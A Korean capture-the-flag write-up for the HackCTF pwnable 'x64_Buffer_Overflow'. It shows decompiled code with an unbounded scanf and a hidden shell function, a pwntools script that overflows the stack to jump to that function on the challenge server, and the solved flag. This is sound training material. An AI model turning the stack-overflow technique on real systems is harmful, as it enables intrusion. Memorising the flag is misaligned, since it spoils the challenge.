[HackCTF / pwnable] x64_Buffer_Overflow

64비트 버퍼 오버플로우 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]
 
  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s, argv);
  return 0;
}

int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
 
  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

callMeMaybe를 호출하면 쉘이 실행된다. ret에 callMeMaybe의 주소를 넣으면 쉘이 실행될것이다.

ex.py

from pwn import *
 
e = ELF("./64bof_basic")
#p = process("./64bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3004)
 
payload = ""
payload += "A"*(0x110+0x8)
payload += p64(e.symbols["callMeMaybe"])
 
p.sendline(payload)
p.interactive()

x64_Buffer_Overflow : HackCTF{64b17_b0f_15_51mpl3_700}